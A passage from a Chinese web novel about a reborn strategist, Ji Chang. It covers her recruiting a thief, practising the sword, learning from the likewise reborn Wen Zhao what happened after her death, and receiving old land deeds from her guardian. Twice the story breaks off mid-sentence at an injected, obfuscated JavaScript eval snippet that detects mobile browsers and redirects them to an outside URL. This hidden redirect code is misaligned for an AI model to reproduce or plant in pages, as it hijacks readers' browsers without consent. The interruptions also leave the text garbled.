郡守自然不会多说什么,且不说本来就没想让那小贼活命,便是真有什么他也不敢对季昶如何。 月云华的生意几乎遍布云州,季元鸿还是他老师,传闻季昶是二人的私生子,谁敢动季昶? 况且季昶少年天才,从自己管辖的境内出现了这么一位天资过人的神童,简直是要做梦笑醒的程度,他还打算过两年就往上报,靠季昶升迁,怎会怪罪。 季昶一猜就知道郡守不仅不会怪罪自己,还得谢谢咱呐。 这事本就不宜招摇,传出去也是他这个郡守的失职,所以很快被压下去了,就是负责守城门的人估计要受罪咯。 派人带季初梳洗一番后又穿上了一身干净衣物,季昶这才真正看清她的相貌。 之前那副逃奴装扮应当是故意扮得楚楚可怜的模样,引人放松警惕,本来容貌比之前还要深邃且具攻击性,身量也高了许多,季昶怀疑她可能有外藩血统。 虽然是小厮打扮,但将头发束起后倒像是哪家的俏郎君,就是仪态还有些许猥琐,或许是这些年养成的习惯。 “还会易容与缩骨?” 季初摸了摸头,还对这身新衣裳不太习惯,腼腆一笑:“半吊子,跟真会的比不上,主要是逃命用的。” 季昶上辈子就见识过易容术,的确比季初这些高明许多,造诣深的可以用各种手段来改变自己或他人的脸部骨骼、肌肉、脂肪等,从而改变面貌。 而缩骨功在大乾南边邻居南璃国盛行,听闻七尺男儿可穿孩童衣物,如果季初真能达到这个水准,可能衙门牢狱也能溜出来。 不错,还是个全能型人才,昨晚没白蹲她半晚上。 “只是郎君......您说之前传闻在青州就有这骗术了?”季初回去想了想,还是不太明白,自己绞尽脑汁想出的法子怎的就让其他人抢先了,还传到云州来了。 “那不是,我只是当时看你逃窜时应当对这附近摸过底,按理说不会这么快就慌不择路偏偏跑到死胡同里。我猜当时你或许是通过衣着或是那串珠子推测我们仨不是好惹的,所以打算尽快脱身。” 季初点点头,她当时一模就知道那东西价值不菲,况且身后追着的家丁看起来粗壮,动作却并不笨重,一看就知道应当是练家子,于是当机立断去了那个胡同。 “但是这些也只是让我奇怪,露出破绽的是跟你打配合的男人。” 到了要进食补药的时间了,诗语把熬好的一盅药膳端了过来,季昶拿起一口闷了,用帕子擦了擦嘴和手,道: “当时周围围着一群看热闹的人,都不知道发生了什么事,又有家丁挡着,许多人连你面都没看到。” “那男人或许是太急切了,还在人群外就在喊是他家跑丢的逃奴,进来后二话没问就知晓是你偷了东西。” 当时季初只盘算着如何脱身,完全没注意那个蠢货说了些什么,她都想好趁他们把注意力放在那个蠢货身上,自己直接金蝉脱壳。 “可见能成事不一定要找聪明人,却一定不能找蠢材。” 季初又朝着季昶的方向狠狠行了一个大礼:“郎君真乃神人!”她算是服了。 季昶一笑,平静的接受夸赞。 她的名声已经很招摇了,这也全归因于上辈子自己这会儿迫切想把名声传开,好让自己能顺利入仕。 这个时代选拔人才并不是后世熟悉的科举,而是通过各地中正官一层一层向上推荐,所有人才依照其行状和家世来定品。 原则来说应当是行状为主,家世为参考。 但这也是原则上,实际在这世家大族几乎把持一方的大乾,早就是“上品无寒门,下品无势族”的局面了。 出身寒门者行状评语再高也只能定在下品,世家子弟行状不佳亦能位列上品。 她出身孤儿,月云华生意做得再大也是商贾,而季元鸿虽雅名闻天下,但仔细论起出身甚至不如寒门。 唉,只能说上辈子那条路走的也不算错,只是太急迫,也没想到现在这个表面繁荣的大乾还撑不过十几年。 所以昨日她只说这骗术是听来的,却不说是短短一个照面就推理出的。 4. 前世 自从那天季昶一时兴起想听季初弹琴,结果弹出来的调子呕哑嘲哳难为听,季昶也放弃了让她唱曲的想法。 确实会弹,就是弹的难听。 于是让她先跟着陈督长他们练着武,她动作灵巧、反应机敏,但没有系统学过武,可以说天赋点全加在速度上了。 陈督长原来是云州百夫长,手下掌管百人,后来因性子耿直得罪了某世家子弟,幸得州牧作保留了一命给他贬回家乡了。 出身低微还能做到百夫长,能力还是有的,当时季昶打听到有这么一号人,专门跟月云华提过,算是高薪聘请他来帮忙操练部曲。 季昶偶尔也去请教几招——她和诗语砚秋二人都是从小就跟武术师傅学武,只不过她后来为了营造“神童”人设就懈怠了。 部曲大多在郊东庄子里操练,大约八十人,听上去不多,但也是月家尽力去找的了,况且季昶对部曲的个人素质卡的较严格,首先要听话,不能净养些刺头,也不能有许多花花肠子,吃着她的饭还在她地盘上捣乱,其次关于身体素质,除了季初这个走灵活路数的,其他的大都长得高大。 当然有部分女兵——大多是家里吃不上饭或者干脆是孤儿——因长期挨饿长得矮小,开始还担心主家不要自己,后来看到跟男兵们待遇一样也就放心了。 甚至冬季的下水操练给免了,换成了什么“包扎”之类的学习,听郎君说叫“军医培训”,总之女兵们很满足,感觉挑着灯笼都找不到这样好的主家了。 春秋季帮忙下地,冬夏季在庄子里练兵,轮流安排人过来月家这边保护主子安全,同时也娱乐了庄子里那群老人。 毕竟看着年轻人们在最遭罪的季节出来绕着庄子跑步还是很有趣的。 男女部曲分别居住,平时严禁互相串宿,之前还听说男子居住区竟然抓到了偷看的女兵,看到那人也照规矩惩罚后大家也都老实了。 所以当季初进入女子居住区时,各女兵先是惊讶这个小郎君真够俊俏的,然后马上去举报,第一个举报的还能奖励吃一顿肉嘞。 要知道这些部曲虽然平时吃得饱饱的,但也是只有过年了才能安排上一顿肉。 陈督长只好解释这位也是女子,在各位女兵半信半疑的目光下,季初开始了她的部曲生涯。 同样开始锻炼的还有季昶,这几日她上午早起练武,下午继续考察,大概把云澜郡城内摸透了。 “郎君怎的又如此勤奋了?”砚秋最近早上练功时每日都能遇到季昶,有时比自己起的都早,这还是那个天天赖床的郎君? 砚秋小声问着一旁的诗语,眼神里好像在说“这是又中了哪门子邪”。 诗语怀中抱剑,立在一侧摇头也是不解,她都不用叫郎君起床了,真是够稀罕的。 要知道往常都得诗语叫两遍才起,遇到冬日天冷赖床了郎君都是装病不去书院,哪有这早起来练武的情况? 季昶打完一套拳法,脸颊微微泛红,尽量平息着呼吸。 托上辈子的福,睡懒觉的安逸日子她已经许多年没有过了,重生归来除了开始昏迷的那几日她一直都遵守着自己的生物钟。 “郎君最近这套拳法练的有所长进啊。”陈督长是个老实人,说不来恭维人的话,他以为季昶这么久不练武了肯定得退步,没想到虽然前几日打的不怎么样,但这两日倒是进步飞快。 他该说自家郎君不愧是少年天才吗。 当然不完全是因为季昶天资聪慧,她上辈子作为谋士也是见惯了战场厮杀的,许多时候都得拿着自己的君子剑防身,受伤更是经常的事,所以这辈子对一些武艺上的理解才更深一层。 “呼......诗语。”她抬手示意诗语将那把剑给她,许久没试过舞剑了,也不知道退步了多少,自己现在的小身板又是个战五渣,还真不好说。 握住剑鞘时,从掌心传来的熟悉感让季昶有些兴奋,崭新的黑漆鞘面镶嵌着白玉组件,玉剑璏上的勾云纹还没被磨损,谁能想到这样一把看起来华而不实的佩剑上辈子跟着她许多年,甚至了结过许多性命。 "铮——" 剑锋出鞘,季昶的神色也认真起来,随手将剑鞘抛给诗语,手腕一抖耍了一个剑花。 银蛇乱走的利剑刺破气流,似帛裂又似鹤唳。 起手式带着些许滞涩,那截清瘦的腰身却绷得笔直,墨发纷飞如瀑,错步旋身时惊起遍地落英。 砚秋忍不住"啊"地轻呼出声,诗语捧着剑鞘的指节微微发白,陈督长更是放慢了呼吸,清晨的阳光下除了零星的鸟叫就是季昶利剑破空的声响。 一阵风吹过,院中的青竹簌簌摇曳,季昶的衣袍猎猎作响,落花在空中翩翩起舞,剑招瞬息万变中与她愈发熟络起来。 季昶眉峰紧蹙,呼吸间又变换了招式,那柄华丽的君子佩剑在她手中仿佛暗藏杀招。 风慢了下来,剑锋斜挑勾住一朵完整的海棠,残影收束间花落在了她另一只手中,空气里浮动着刚刚被剑气绞碎的花香。 待季昶将剑归鞘,诗语才发现手中的剑鞘早就被她拿走了,忙上前抱住剑。 季昶活动了一下有些颤抖的手,另一只手掌打开正是那朵海棠,又一阵风吹过,海棠随风而去。 * 今下午她没出门,而是待在书房,结合她现如今的想法和日后的规划,将重生之前记录的笔记做了部分修改。 现如今云澜郡共有三支世家大族,分别是温家、长孙家和王家。 温家和长孙家的势力主要在云澜郡主城,而这两家都是大乾的都城琉光城那边的温家和长孙家分出来的,王家主要在云澜郡东这个暂且不表。 至于为啥没有贺兰家和月家。 贺兰家祖上也算是富过,出过几个膘骑大将军,后来没落了,近年要不是贺兰灏的小叔带领贺兰家又重铸荣光,早就查无此家了。 不过各世家有些自持身份的也跟他们家玩不到一块去,说白了还是觉得贺兰家是暴发户,而且还跟月家走的那么近,跟他们家接触,掉份! 月家就更简单了,月云华白手起家的创业史,听闻早期赚钱的时候月云华一个刚及笄的小娘子天天在城里从早到晚挑货卖货,后来更是去沧凪和巴木两部去挑着羊皮来卖,也算是一段传奇了。 但月家再有钱也是商贾,士农工商,排最末等。 就算你月云华现在比他们有钱有排场又如何,很多世家骨子里还是看不上。 季元鸿也是同理,一个被家族除名的家伙,就算再有雅名也极少有世家子弟来他的书院求学,大多在自家族学。 所以像温昭还有长孙明轩等人算是士族子弟中的清流了,平时在书院一般也不跟季昶她们这些人玩。 说起温昭,似乎那天还答应要去看望他,这几天忙起来就忘了,还是去看看吧,毕竟自己也还有事要问他。 季昶带着补品去温家的时候,温家管事似乎已经等候她多时了,看到月家的马车一来就连忙来迎接她:“季小郎君,快里边请。” 前世今生应该是第一次来温家的园子,只能说不愧是世家大族,虽不奢华外露却处处体现着格调和雅致,园林内部署的乔木、山水等无一不展现出温家子弟温文尔雅、克己复礼的品格。 世家大族数十代繁衍生息,根深叶茂,遮天蔽日,在朝堂上甚至能操控皇帝的变换。 季昶收回视线。 “今早主家和大郎君去郊外庄子上了,烦请您先去前厅等候,”温家管事在前头带路,“小人时常听主家提起季小郎君天资聪颖,今日得幸一见,当真仪表不凡。” 温家的前厅也是一副大气又富有情调的样子,摆设虽然不多,但每处的摆放与质感都恰到好处,既不会失了世家的排场,又不让人感到疏离。 “季君久等了。” 季昶收回打量的视线,起身托住温昭即将要行礼的手笑道:“我以为咱俩之间就不必再行这种虚礼了吧?” 上辈子他俩做了十余年同窗,因都是少年天才被同称“云澜双子”,后来又都在桓王手下共事了几年,虽也有意见不合之时,但确实是当时桓王幕僚里少有的尊重她谋士身份的人了。 所以上辈子他俩私交也挺不错的。 “刚看你们家这前厅摆放的倒是雅致。”没想到一夸给温昭夸不好意思了,拿起茶水来喝了一口低头不语。 温家管事在一旁忙道:"大多是二郎君吩咐的。" 温昭抬眼见季昶也正好笑着看向自己,匆匆移开了眼神。他年幼丧母,父亲也一直未续,家中事务大小都落在了他和兄长的肩上,不过好在有母亲留下的一众奴仆,也算未出差池。 “真是会生活啊,温兄。”季昶看他不好意思,又忍不住夸他一句。 这个时代文人们对“美”的追求还是很狂热的,大到纵情山水,小到侍弄花草,衣着打扮、擦粉熏香更是常事,还有许多士族子弟听说服散有益美容,就服食后将衣袍一脱,展现自己的不羁和洒脱。 这也是季昶不太爱去那些集会的其中一个原因,遇到身材不错的还好,遇到......她怕自己会忍不住报官,又怕那官就是他父亲。 大概问了问他的身体状况又扯了点别的,季昶就说:“那日温兄说要邀我看画?” 温昭起身笑着说:“正是,季君这边请。” 将季昶引到了他的书房。 “你们下去吧。”诗语和砚秋看了季昶一眼,也自觉跟着退至屋外。 门一关上,季昶就唤道:“瑾安?” 温昭的心在这一刻才落到实处,是了,这正是季明晗,那个上辈子撞柱自尽的季明晗。 温昭一时间有好多话想说,却不知道怎么开口。 宽袖下,温昭拳紧攥着,看着这个鲜活又年轻的季昶终究还是没说什么。 “瑾安,咱们长话短说,我想知道上辈子我死后发生的事。”季昶也很想与温昭叙旧,但现在更重要的是她要掌握更多信息。 “上辈子你死后......”温昭顿了顿,继续道,“大乾还是时常发生战乱。” “南璃整个国家分裂,黎骨趁机吞并了南璃部分土地和烟州。” 这个世界一共有五个国家,分别是大乾、南璃、沧凪、巴木和黎骨。其中大乾在中央,北边挨着巴木和沧凪,南边挨着黎骨和南璃。 季昶点点头,她之前就有料到南璃和黎骨那边一直打得火热,迟早有一个会大乱。 “沧凪公主沧芒夺权,带着她族人联合巴木部分残部一同南下,共攻占两州。” 温昭说到这里忍不住皱了皱眉,当时那两州几乎被糟蹋的不行了,粮食抢不走的都烧毁,百姓或是被当了伙食,或是被活活烧死。 那惨状温昭难以启齿,不过幸好季昶并未细问。 “呵,”季昶忍不住冷哼,“当初他帐下那群只会拉帮结派的废物执意屠城,沧凪近一半被屠。” 她当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244516|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时恰好受重伤躺在榻上歇息,又加之她那阵子也一直有意无意间被坐冷板凳,贺兰逸更是没被邀请,待温昭想办法派人来给她报信的时候已经迟了。 季昶忍不住摩挲着左手拇指的玉戒,她又想起当时那种无力感,面上却是滴水不露。 之后季昶又跟桓王说野草烧不尽,春风吹又生。结果慕容桓收编士兵、安抚沧凪百姓和建立州郡一个没干,只派了几个草包去驻扎,还把当地搅和得鸡犬不宁。 看着季昶微皱的眉头,温昭知道她又想起了上辈子那些烦心事,当初他跟季昶都主张战后安抚为主,趁早让沧凪与大乾文化融合,让当地的人们过上好日子,对他们那时的创伤才能随着时间的流逝而减淡。 这些道理慕容桓难道不懂吗?温昭忍不住心下暗嘲,一来是帐下各方势力盘根错杂,二来恐怕就是因为当初尽力劝他的是季昶反而不行。 当局者迷,那时慕容桓对待季昶的态度他身为局内人虽然有所察觉却不能明辨,直到后来季昶死后那些年,他每每在心中复盘那些事才想通。 “同时,慕容桓性情变得更加喜怒无常,许多朝臣被他杀害......”温昭平静的脸上有一丝奇怪的神情,“连慕容祁也被他拿剑捅了。” 慕容祁是当初唯一支持他夺嫡的皇子,上辈子跟贺兰灏成亲的就是他。季昶对此人一直很不满,所以知道他死了顶多觉得慕容桓又不知发的哪门子疯,也没什么多余情绪。 “天灾人祸不断,各地出现起义军,济州、青州两地的启天教和联苍军势力较大。” “最后我回来之前他刚把国都从琉光迁走了。” 二人一时间沉默下来。 温昭手着银簪拨弄着香炉中的香灰,衣袖从手臂滑落,季昶静静看着他右手腕骨处的那一枚暗棕色小痣,若不是细看都发现不了。修长的指节捏着银镊将香片置于香炉中,不一会儿烟雾弥漫在两人之间。 香气让季昶平静下来,她回过神来问道:“你不应该没意识到,怎么会让沧凪成长起来?” 她死之前,大乾刚把沧凪打败,沧凪派了自己王子和文书来,表示国家臣服之意。 温昭淡淡地说:“你死后,他或许觉得我算是你同党......我就辞官回乡了,我走之前贺兰家也不好过。” 贺兰家何止是不好过,贺兰灏和贺兰逸接连惨死,他费尽心思才找到贺兰灏的尸首让她下葬,贺兰逸尸骨未知。 二人又陷入了沉默。 “他有办女学吗?”虽然季昶大概猜到了结果,但还是想知道。 “建立了,但收效甚微。大多数女子入学不过是为了嫁个好人家,而且因为那日之事,宫中连女官都少了。”温昭说起“那日”声音滞涩了一瞬,他估计今晚又难眠了。 慕容桓像个疯子一样,世家大族根本不屑,寻常士族又无人敢去触这个霉头,谁敢让自家族女去入仕。 季昶叹了口气,果然自己当初还是太年轻了,自己的道义寄寓其他人本身就是天真。 “多谢你,瑾安。” 季昶起身,准备离开。 温昭犹豫再三,还是问道:“你之后,还要入仕吗?” 季昶笑道:“他们慕容家也就还有十几年好活,除非他慕容桓又登上帝位。” 她不会给这个腐朽的朝代苟延残喘的机会,灭掉落后的东西,人类社会才能向前发展。 “不过我会继续追随我的道义。”剩下的她没明说,但她知道温昭懂。 “我助你,”温昭也起身,“以温昭本人的名义。” 上一世季昶反桓王时自己受制于家族,没能帮上她,那时的惨状时时印在自己脑海中,令自己后半辈子彻夜难寐。 老天既然给了他这次机会,他这一世就要坚定的站在她身后。 季昶一直所追求的是百姓能吃饱,人人可读书,做官看才学,无论家世、无论性别,而要实现这个目的,世家大族才是最大的阻碍。 他也一直期望那一天的到来。 “好。”季昶向温昭深深行了一礼,“多谢你了瑾安。” 温昭从书架上拿下一份舆图,是云澜郡的,指着西部一大片地道:“这片荒地原本是农耕所用,后来因几十年前与那时还未分裂成两部的木凪国打仗,在此死伤惨重,农田被全部烧毁,再后来那一片就荒废了。” 说到这儿,温昭顿了顿看着季昶道: “我猜你最近一直在城内转是在寻找适合的地方可以操练军队。” 季昶点点头,这块地在澜水另一侧,与巴木相隔一座山,所以密闭性很好,且离水源十分近,之前还用作农耕,的确是很好的一片地,季昶很早之前就有想过这儿。 只是,这块地好像之前归某个世家,战乱后就不知这块地的归属了。 “我不知月姨是否有跟你提过,之前云澜郡是四大世家,其中一家就是月家。” 他上辈子在季昶死后有想过赡养月姨,只是后来他回到云澜却找不到月姨的踪迹了。 兄长提起月姨似乎是云澜月家人,而月家在几十年前那场战争后就搬离了云澜,所以才成了三大世家。 虽然后续他没找到月姨的下落,不过却记住了“云澜郡西归月家”这句话。 “你的意思是,这片地之前是月家的?” “我也是听家兄提过。”温昭简单讲了一下月家的事。 季昶思索片刻,点点头道,“我知道了。” 5. 城西 云澜郡主城在郡中北部,所以季昶想要的那片地就在城西,因为过去战乱及现下商业活动较繁荣,西部那块地一直荒着,且人迹罕至,可以说是最好的地段。 只是,季昶叹了口气。 一个世家大族突然消失,无非就是两种情况,一是隐世生活,二是灭族。 无论是哪种,是怎么会留下还是小孩的月姨在云澜城的呐? 她在原来的世界是个孤儿,来到这儿被月姨收养后才感受到家的温情,所以她不想提起此事让月姨伤心。 季昶看着这片荒地,杂草丛生,当年的惨状历经几十年风雨霜雪早已被掩埋在地底,风吹过似乎还有一股生机勃勃的青草气息。 “季昶,这边有啥好玩的啊。”贺兰逸已经累了,要不是这边马车不好过来,他现在是万万不想出车的。 “就你话多,季昶来这儿自然有她的道理,你再啰嗦我俩揍你。” 贺兰灏也有些累了,小脸红彤彤的提着裙子在一旁,这里杂草和树枝太多,不小心就会划破衣衫。 “你说这里适合干些什么?”问的当然是贺兰灏,贺兰逸这个头脑简单四肢发达的她俩都不指望他能参与进谈话。 贺兰灏一听这话瞬间来了精神,她看了看四周,斟酌道:“这里地广草茂,还临着澜水,养牛羊最好不过。” “不过云州临着木、沧两部,又加上来往客商的贸易甚多,牛羊的价钱本就卖不上去,若是与其他州贸易此处规模就略小了些,其他州客商更愿意与木、沧两部交易。”贺兰灏很快否定了自己的说法。 “唔,若是能种桑养蚕就好了,这样也不必月姨每次与烟、郊两州的士族贸易了,那些世家家仆真讨厌,一个个的鼻孔朝天,狗仗人势的。” 月家养了许多织工绣娘,因绸缎花样相较其他各州新颖精巧,质量也上乘,专供云州和琉光城的世家大族优先挑选,其他各州往往每年只送有交往的世家零星几匹卖人情,所以遇到哪年产出少了还有市无价。 就是云州本地不宜种桑养蚕,原料需要从烟、郊两州贸易,之前月姨去谈生意时贺兰灏央求着跟去了一次,被那些人气到后就再也没去过。 “桑蚕需要的温度与湿度要求过高,即使强行养殖产出的蚕丝品质大概也难以达到月氏需要的高品质。”贺兰灏听到季昶这么说,瞬间蔫了。 “那就继续造纸?”贺兰灏指着一旁的杉树。 现在大乾广受追捧的“高阳纸”就是月家与高阳景氏一同的产业,月氏出技术和工人,景氏负责庇护这一产业,所以在外大多认为这是景氏的产业,不然仅月氏想要垄断“高阳纸”这个生意简直是异想天开。 而核心原料青檀与莎草等则分别来自高阳与云州,除了季昶、月云华和核心工人,其他无人知晓,自然也不知道这“高阳纸”不是什么树都能造得。 不过,季昶看着远处山头那片树林,里边大多是杉树、松树等纤维植物,倒也不是不可,无非是继续尝试精进工艺,看看是否能产出其他品样的“高阳纸”。 看季昶陷入了沉思,贺兰灏高兴了起来,这说明小伙伴有认真思考自己的提议,看着一旁贺兰逸还在吃东西就来气,给了他一拳,把好吃的“征用”了。 季昶考虑的主要是这边的气候。 云州这边跟高阳所在的阳州树木生长速度可不同,那边树砍了之后再种上几棵新苗,没几年就又长出来了,这边嘛......为了可持续发展考虑,造纸最多作为副业,每年产的甚至比高阳纸还少,但若是质量还不如高阳纸那必然没人买单,就只能再尝试研究一下了。 那目前只能是继续种田了。 季昶有些怀念上上一世,那个世界粮食亩产比现在高多了,作物成熟周期也快,一些病虫害抗逆性等都较好,虽说前些年季昶也有考虑提高庄子上作物产量等,可是收效甚微。 毕竟自己穿越过来之前也不过只是个农学的大学生,且不说东西几乎忘干净了,就单说自己不过有点科研经历,哪能跟真正有经验的老农比,况且之前的经验也与这个世界的作物不一定相符。 或许之后得招一些农业方面的人才了。 回家的时候季昶还在考虑,如何能不惹月姨伤心的情况下合理打听出城西那片地的归属,就听贺兰灏说道:“我们今天去城西澜水另一侧玩了。” 季昶抬头,看到月姨果然看向她:“呃,是......那么大的一片荒地,好奇。” “是嘛,”月姨倒是看不出什么异样,只是像往常那般叮嘱道,“你们几个出行一定要小心,之后出行前要向家里人报备,家丁也一定要带足了。” “嗯嗯,知道啦月姨!”贺兰二人点点头,季昶也嘿嘿笑着装乖。 晚饭吃过后贺兰二人回家,季昶跟月姨聊了一会后就打算回自己院中,就听月姨道:“你与我来。” 季昶压下诧异,乖乖跟着月姨去了她院子,进屋后让其他人退下,转身在柜子里找些什么,季昶没出声,等了片刻后月姨拿出了一个看起来精美但有些年头的匣子。 “你这两日是在城中作甚?怎的今日就又去城西了,找到合适的地方了?” 季昶这几天没有隐藏自己的行踪,月姨能知道她也不意外,斟酌了一会知道只能说出来了,于是开口:“我想找片地,在此地屯田。” “民屯还是商屯?” “军屯。” 月姨深深的看了她一眼,端起一旁的茶壶要倒水,结果忘记壶中没水,半天倒不出来遂作罢。 “昶儿,你可是有什么想法。” “现下乾帝年事已高,南边南璃与黎骨时常发生战乱,北部木、沧二部......想必月姨您应当比我清楚。” 月云华没有诧异季昶会知晓自己对木、沧二部的所做,不过是对巴木的内乱推波助澜,让这把火烧的更旺些,而趁机找机会搞垮沧凪的经济罢了。 为了走到这一步,她部署了十多年。 “巴木的内乱将起,短时间自顾不暇,沧凪现下的经济形势想必不太好过。”季昶按照上辈子的印象和自己这辈子的观察,猜测道。 “巴木的水刚浑起来,沧凪也不过是刚刚开始,现在他们会以为是近些年牛羊效益不好,等过几年就知道之后会更不好。”月云华哼了一声,得意勾唇。 这几年跟巴木、沧凪的贸易一直紧紧攥在月云华手中,其他士族想分一杯羹却只能喝点汤,那边的商人比起认大乾士族的族徽,更认月云华。 这些年月云华一直跟巴木、沧凪贸易牛羊和那边的本土药材,甚至有时会走私马匹,月家在牛羊生意上几乎没赚钱,偶尔几年还会搭钱,就是为了让木、凪两部落入她长达十几年的圈套。 等到草场的牛羊数量高到一定程度,那边本地药材也被挖的价格飙升,她就与云州当地商人联合减少牛羊的采购,让他们的牛羊砸在手里。 毕竟近几年大乾对牛羊的需求量已经近乎饱和了,牛羊肉本来就不是人人都能吃得上的,大多数人会选择采购牛羊皮毛来御寒,但是有需要的不过是北边的州郡较多些,这些年月家也积攒下不少牛羊皮毛了。 “沧凪那边现在药材的价格已经很高了吧?前些天我逛药铺有些那边的药已经是需要咬牙才能承受价格了。”更有昂贵的药铺里直接没摆出来。 月云华点点头,没办法,这些药材本就不好长,自然是挖一部分就少一部分,她想的就是最好让沧凪那边无药可用才好。 “但是,月姨有没有想过,现在牛羊数量已经很多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244517|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这两部的草场显然要盛不下这么多了,等到他们草场没有草可供牛羊吃时,他们会怎么做?” “巴木或许会因为内乱稍有克制,但沧凪那边,会不会再度南下掠夺?” 月云华一下子紧紧捏住桌角,克制住自己的情绪。 “大乾最快十年就要内乱,到那时我们月家积累的财富就犹如街上抱金的小儿,覆巢之下无完卵,即使逃到琉光城也无济于事了。” 她知道月姨有在琉光城买套宅子的想法,只是目前还找不到合适的。 二人沉默良久,季昶看着月云华,她似乎沉浸在了自己的世界中,盯着某处。 季昶长舒一口气,十年已经是她最保守估计了,她与温昭二人的重生是否会引起蝴蝶效应,造成新的变故,她都不敢赌,只能尽自己所能先强大起来,至少在乱世时能保全月家,再谋其他。 “你如何断定大乾必定会内乱,说不准……”月云华说到一半叹了口气,这些年天南地北的做生意,她也感觉出大乾越来越不太平了,现在季昶说了,她也不好再抱有什么希望了。 “好。”月云华说着将原本放在桌子上的匣子推给季昶,季昶打开匣子,发现竟然是一堆地契和卖身契。 “这是我早年的一部分嫁妆和家里留下的,虽然一直未成婚,但都在我手上。本来打算等你成婚时给你的,现在看来要提前给你了。”月云华淡淡的笑着。 季昶突然想起上辈子自己也为了仕途一直未成婚,她都打算一辈子不婚将来从收养的女婴中找一个聪慧的作为传承,若不是那事,唉。 季昶仔细翻了翻,发现包括城西那片地在内,近乎整个郡西的澜泽县肥沃地段都有,郡南的从南县也有些许地段好的地,甚至连西南墨丘郡、阳州高阳郡等地都有。 更别说还有些许铺子、庄子和卖身契。 “云澜郡外的铺子本就不多,除了现在月氏在经营的都在这儿了,郡内的除了现在月氏经营了一部分也不剩几间好的了,其他的早年被卖掉一部分,那些家中的老人也多在战乱时没了。” 月云华仿佛在提起旁人的事,并未有太多情绪,或许是因为已经过去太久了,早些年她一个人吃那么多苦的时候还会伤感,现在已经不会了。 “这些年也有想过重新招人去种这些地,但光是跟木、凪两部的贸易就很伤神了,还有郡内外的生意......就一直搁置了。”更何况,种植多年的地在战乱来临时也逃不掉被一把火烧掉的结局,要不是她想着留些念想,这些地早就被她卖出去了。 “这就是早年的云澜郡四大世家吗。”季昶忍不住唏嘘。 “云澜郡?”月云华忍不住讥讽,“就另外三家也配跟月家比,长孙氏和温氏那时就是从琉光迁过来的旁支,温家还好,长孙家到现在还是只有门面好听罢了,遇到点啥事不还是听琉光长孙氏的。” “至于王家,哼。”月云华不屑多说,冷哼了一声,又继续道:“那时月家是云州四大世家还差不多。” 月云华不欲多说,摆了摆手只道:“都拿走吧,本来就没剩多少了。” 这些年她月云华在云州的产业大多是靠自己打拼干起来的,当初月家留下的本来就大多是地契,有好多铺子她没有货源又谈何开店,所以也大多闲置,近几年生意做大了才又重新开张了几家。 但光在云州月云华已经不满足了,她其实料到云州早晚会有战乱,这些年也一直在试着把商业版图向东南方向进展,只可惜除了阳州和那天温家送的几处琉光城的铺子外,很难有进展了。 各地士族早就瓜分当地,本地人还各自嫌不够大,相互掐架,哪里会乐意让你一个外来商贾分一杯羹。 季昶向月云华深深行了一礼,没有多嘴,抱着匣子走了。 6. 不公 云澜郡主城内一片繁华景象,丝毫看不出几十年前战火纷飞、许多人流离失所的境况。 街边有好多小吃在叫卖,歌舞坊刚开门营业,许多酒楼的小厮也在门口招人进去。 兰香阁二楼雅间内,长孙明轩一杯接一杯的喝了许多酒,现下也喝的有些脸红,潇洒不羁的把腿撑到一侧,一只手撑着地,另一只手放在膝上托着脸。 衣领松垮垮的,露出洁白隐约泛粉的胸膛,酒饮的急了,脖颈上时而有晶莹的汗珠沿着喉结滚落,沿着胸膛没入衣领内。 兰香阁是长孙家的产业,平时他一般都来这边喝酒,这边的侍从嘴严得很。 坐在他对面正是前些天落水,这两天身体刚好一些的温昭。 此时的温昭只是稍稍抿了一口酒,就放在桌子上,更多的是饮茶。 上辈子临死前喝太多,到现在没弄明白是喝死的还是喝醉了掉池子里溺死的,这辈子他还要看着季昶登基,所以格外惜命,连一杯都不多喝。 “前两日传信,老师就要回来了。”温昭喝了口茶望着窗外淡淡开口。 这意味着书院假期要结束了,马上要开学了,就能见到她了。 “也不知是去哪儿了,眼下各地都不太平。”长孙明轩又将酒一口闷,酒液顺着嘴角滴落到胸前,染湿了前襟他也无所谓。 从今早琉光城来信长孙明轩就叫上温昭来喝酒了,把信一摊开温昭就知道发生了什么。 信中说长孙家欲将长孙茹雅送入宫中,而她本人也答应了。 “呵,”长孙明轩冷笑,“我看就皇宫和士族最太平,咱们圣上一把年纪还喜事将近。” “明轩兄,慎言。” 温昭知道他不痛快,长孙明轩从小在琉光长孙氏长大,这几年才来的云澜,自小只有长孙茹雅与他年龄相仿、意气相投,自然跟这个小姑母感情最好。 长孙茹雅是个十分有才情的人,温昭曾经在长孙明轩屋内看到过她的几幅画,山水画大气磅礴,花鸟画细腻雕琢,画一侧的提字写的也儒雅中流露出风骨。 长孙明轩有时还会吟咏她写的诗,说长孙茹雅之前一直想踏遍山河,到处留诗,还说到那时他要替她把那些诗收集起来合订成册,就叫《舒妍诗雅集》。 而现在,那个自由的灵魂即将被困于宫闱,在那高墙深院中看着自己的才华流逝,何其可悲。 上一世长孙茹雅在慕容桓夺位后被送回了长孙家,没多久就去了。 温昭想起此事也觉得沉重,跟长孙明轩碰了一下喝完了那杯酒。 有些喝的急了,温昭坐在窗边,撑着桌几透气,一低头就看到了正在街上闲逛的季昶,他忍不住被吸引住了目光。 季昶不知道因为什么事很开心,正在跟一旁那人说笑。 一旁那人......温昭两世都未曾见过。 